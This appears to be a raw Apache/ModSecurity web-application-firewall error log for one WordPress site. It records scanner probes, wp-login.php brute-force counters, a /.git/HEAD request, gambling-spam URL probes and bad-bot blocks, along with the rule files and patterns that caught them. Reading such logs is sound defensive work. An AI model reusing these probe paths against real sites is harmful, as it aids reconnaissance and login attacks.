[Mon Mar 16 23:30:27.739618 2026] [:error] [pid 36198:tid 36220] [client 136.248.244.164:43620] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "abgiE-lL1GNckmsdWlNyRAAAARM"]
[Mon Mar 16 23:30:29.901838 2026] [:error] [pid 35838:tid 35861] [client 136.248.244.164:43622] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "abgiFRroTe-x3JLtmo7nswAAABM"]
[Mon Mar 16 23:38:27.934825 2026] [:error] [pid 1871:tid 1896] [client 147.135.213.107:43836] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abgj8zinTnZ8uiUPekGlAAAAAZc"]
[Mon Mar 16 23:38:29.888467 2026] [:error] [pid 1871:tid 1894] [client 147.135.213.107:56752] [client 147.135.213.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abgj9TinTnZ8uiUPekGlAgAAAZU"]
[Tue Mar 17 00:13:12.178790 2026] [:error] [pid 1871:tid 1878] [client 104.37.86.20:33454] [client 104.37.86.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.37.86.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abgsGDinTnZ8uiUPekG2SAAAAYU"]
[Tue Mar 17 00:13:13.889293 2026] [:error] [pid 1871:tid 1886] [client 104.37.86.20:33454] [client 104.37.86.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.37.86.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abgsGTinTnZ8uiUPekG2UQAAAY0"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 00:26:29.485663 2026] [:error] [pid 45652:tid 45656] [client 173.205.125.16:39722] [client 173.205.125.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.205.125.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abgvNfeWZ4w4tc07R6kq9QAAAME"]
[Tue Mar 17 00:26:31.235718 2026] [:error] [pid 45652:tid 45657] [client 173.205.125.16:39722] [client 173.205.125.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.205.125.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abgvN_eWZ4w4tc07R6kq-gAAAMI"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 01:21:41.820591 2026] [:error] [pid 9635:tid 9648] [client 146.70.160.131:34804] [client 146.70.160.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.160.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abg8JXsAHChuwZxGaSjRIwAAAUs"]
[Tue Mar 17 01:21:43.448616 2026] [:error] [pid 9635:tid 9644] [client 146.70.160.131:34804] [client 146.70.160.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.160.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abg8J3sAHChuwZxGaSjRKAAAAUc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 01:53:51.475066 2026] [:error] [pid 3200:tid 3216] [client 209.235.136.150:56306] [client 209.235.136.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhDr1FOeKiNLMuAjec1mQAAAQ4"]
[Tue Mar 17 01:53:53.332039 2026] [:error] [pid 3200:tid 3221] [client 209.235.136.150:56306] [client 209.235.136.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.235.136.150, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhDsVFOeKiNLMuAjec1oAAAARM"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 02:05:25.537013 2026] [:error] [pid 3200:tid 3217] [client 165.173.18.124:39594] [client 165.173.18.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.173.18.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhGZVFOeKiNLMuAjec74AAAAQ8"]
[Tue Mar 17 02:05:27.332976 2026] [:error] [pid 3200:tid 3222] [client 165.173.18.124:39594] [client 165.173.18.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.173.18.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhGZ1FOeKiNLMuAjec75wAAARQ"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 02:09:08.884316 2026] [:error] [pid 45424:tid 45549] [client 43.154.250.181:55394] [client 43.154.250.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abhHRIBy2Qv_YY3oWK7ArwAAAEU"]
[Tue Mar 17 02:20:15.455939 2026] [:error] [pid 3200:tid 3203] [client 64.225.25.250:57062] [client 64.225.25.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.225.25.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhJ31FOeKiNLMuAjedDDwAAAQE"]
[Tue Mar 17 02:20:17.260796 2026] [:error] [pid 3200:tid 3222] [client 64.225.25.250:57062] [client 64.225.25.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.225.25.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhJ4VFOeKiNLMuAjedDEgAAARQ"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 02:50:52.584901 2026] [:error] [pid 3200:tid 3215] [client 162.241.2.99:21306] [client 162.241.2.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhRDFFOeKiNLMuAjedPOQAAAQ0"]
[Tue Mar 17 02:50:56.135519 2026] [:error] [pid 3200:tid 3220] [client 162.241.2.99:21314] [client 162.241.2.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.2.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhREFFOeKiNLMuAjedPQQAAARI"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 03:34:40.687834 2026] [:error] [pid 45917:tid 46013] [client 18.136.78.124:23218] [client 18.136.78.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.136.78.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhbUBMMhmeqL5fT_hdRqAAAAJg"]
[Tue Mar 17 03:34:42.547358 2026] [:error] [pid 45917:tid 46003] [client 18.136.78.124:23218] [client 18.136.78.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.136.78.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhbUhMMhmeqL5fT_hdRqwAAAI4"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 03:57:56.594518 2026] [:error] [pid 45915:tid 45935] [client 54.38.84.133:47472] [client 54.38.84.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.38.84.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhgxJh7U84ydzcrcnfklQAAAAY"]
[Tue Mar 17 04:18:32.567731 2026] [:error] [pid 45915:tid 45951] [client 161.132.49.90:58932] [client 161.132.49.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.49.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhlmJh7U84ydzcrcnfr7wAAABY"]
[Tue Mar 17 04:18:34.489780 2026] [:error] [pid 45915:tid 45952] [client 161.132.49.90:58932] [client 161.132.49.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.49.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhlmph7U84ydzcrcnfr8gAAABc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 04:20:49.380171 2026] [:error] [pid 45916:tid 45978] [client 182.42.105.144:34703] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abhmIbiS53PnClk_C9DXCQAAAFA"]
[Tue Mar 17 04:42:15.621835 2026] [:error] [pid 45917:tid 46013] [client 23.88.68.238:43742] [client 23.88.68.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.88.68.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhrJxMMhmeqL5fT_hdvfAAAAJg"]
[Tue Mar 17 04:42:17.397785 2026] [:error] [pid 45917:tid 45995] [client 23.88.68.238:43742] [client 23.88.68.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.88.68.238, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhrKRMMhmeqL5fT_hdvggAAAIY"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 04:42:33.865707 2026] [:error] [pid 46020:tid 46040] [client 50.6.155.62:46988] [client 50.6.155.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.155.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhrOX-nCcd9BdzGdLfFJgAAANI"]
[Tue Mar 17 04:42:35.241209 2026] [:error] [pid 46020:tid 46022] [client 50.6.155.62:46988] [client 50.6.155.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.155.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abhrO3-nCcd9BdzGdLfFKwAAAMA"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 06:04:20.610252 2026] [:error] [pid 22541:tid 22547] [client 103.56.161.36:49906] [client 103.56.161.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.56.161.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abh-ZKS6JNY1-CTsTA_rjAAAAQE"]
[Tue Mar 17 06:04:23.839333 2026] [:error] [pid 45915:tid 45951] [client 103.56.161.36:44036] [client 103.56.161.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.56.161.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abh-Z5h7U84ydzcrcncEKAAAABY"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 06:16:41.296865 2026] [:error] [pid 46020:tid 46026] [client 36.250.221.88:33499] [client 36.250.221.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abiBSX-nCcd9BdzGdLf9wgAAAMQ"]
[Tue Mar 17 06:35:11.165966 2026] [:error] [pid 46020:tid 46031] [client 217.182.194.25:49676] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "abiFn3-nCcd9BdzGdLcHxwAAAMk"]
[Tue Mar 17 06:35:14.589835 2026] [:error] [pid 46020:tid 46033] [client 217.182.194.25:35570] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "abiFon-nCcd9BdzGdLcHzgAAAMs"]
[Tue Mar 17 06:35:17.217883 2026] [:error] [pid 45917:tid 46002] [client 217.182.194.25:60964] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abiFpRMMhmeqL5fT_heT5gAAAI0"]
[Tue Mar 17 06:35:20.917298 2026] [:error] [pid 45917:tid 45999] [client 217.182.194.25:60974] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "abiFqBMMhmeqL5fT_heT6wAAAIo"]
[Tue Mar 17 06:35:24.121576 2026] [:error] [pid 46020:tid 46024] [client 217.182.194.25:60976] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "abiFrH-nCcd9BdzGdLcH5wAAAMI"]
[Tue Mar 17 06:35:26.330649 2026] [:error] [pid 45917:tid 45996] [client 217.182.194.25:60992] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "abiFrhMMhmeqL5fT_heT8QAAAIc"]
[Tue Mar 17 06:35:31.434069 2026] [:error] [pid 46020:tid 46036] [client 217.182.194.25:37510] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "abiFs3-nCcd9BdzGdLcIFQAAAM4"]
[Tue Mar 17 06:39:31.755672 2026] [:error] [pid 46020:tid 46039] [client 69.5.20.170:56592] [client 69.5.20.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.5.20.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abiGo3-nCcd9BdzGdLcJ4AAAANE"]
[Tue Mar 17 06:39:33.481141 2026] [:error] [pid 46020:tid 46022] [client 69.5.20.170:56592] [client 69.5.20.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.5.20.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abiGpX-nCcd9BdzGdLcJ5wAAAMA"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 07:53:02.852369 2026] [:error] [pid 46020:tid 46028] [client 43.166.1.243:51044] [client 43.166.1.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abiX3n-nCcd9BdzGdLc-qAAAAMY"]
[Tue Mar 17 07:56:16.564284 2026] [:error] [pid 45916:tid 45973] [client 185.223.152.123:29955] [client 185.223.152.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abiYoLiS53PnClk_C9ATZAAAAEs"]
[Tue Mar 17 08:20:52.426307 2026] [:error] [pid 45917:tid 45996] [client 45.130.203.224:22399] [client 45.130.203.224] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/HEAD"] [unique_id "abieZBMMhmeqL5fT_hezvAAAAIc"]
[Tue Mar 17 08:22:51.678348 2026] [:error] [pid 15011:tid 15063] [client 92.205.29.137:47458] [client 92.205.29.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.29.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abie28NtgHlAHiPlDyoSEwAAAc4"]
[Tue Mar 17 08:22:53.396037 2026] [:error] [pid 15011:tid 15056] [client 92.205.29.137:47458] [client 92.205.29.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.29.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abie3cNtgHlAHiPlDyoSFgAAAcc"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 08:48:14.942250 2026] [:error] [pid 15013:tid 15092] [client 190.92.174.31:41472] [client 190.92.174.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abikzlZc-p7DonmJmm2hhwAAAg8"]
[Tue Mar 17 08:48:16.638954 2026] [:error] [pid 15013:tid 15089] [client 190.92.174.31:41472] [client 190.92.174.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.31, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abik0FZc-p7DonmJmm2hjAAAAgw"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 09:10:05.265665 2026] [:error] [pid 45916:tid 45964] [client 164.68.126.67:41114] [client 164.68.126.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.68.126.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abip7biS53PnClk_C9BBLgAAAEI"]
[Tue Mar 17 09:10:07.946515 2026] [:error] [pid 22541:tid 22558] [client 164.68.126.67:41118] [client 164.68.126.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.68.126.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abip76S6JNY1-CTsTA9BSQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Tue Mar 17 09:11:56.377113 2026] [:error] [pid 22541:tid 22567] [client 43.163.206.70:56244] [client 43.163.206.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abiqXKS6JNY1-CTsTA9B6gAAARU"]
[Tue Mar 17 10:41:08.613490 2026] [:error] [pid 45915:tid 45937] [client 34.168.106.157:54058] [client 34.168.106.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.168.106.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abi_RJh7U84ydzcrcndlZgAAAAg"]
[Tue Mar 17 10:44:31.040804 2026] [:error] [pid 45916:tid 45968] [client 114.96.103.33:44727] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abjAD7iS53PnClk_C9BtdQAAAEY"]
[Tue Mar 17 10:52:00.570011 2026] [:error] [pid 15013:tid 15089] [client 68.178.236.40:19868] [client 68.178.236.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.236.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abjB0FZc-p7DonmJmm2-IQAAAgw"]
[Tue Mar 17 10:52:03.767573 2026] [:error] [pid 14817:tid 14830] [client 68.178.236.40:19874] [client 68.178.236.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.236.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abjB0-BWVgTpR3dKOgbGJAAAAUQ"], referer: https://gigfragments.org/wp-login.php
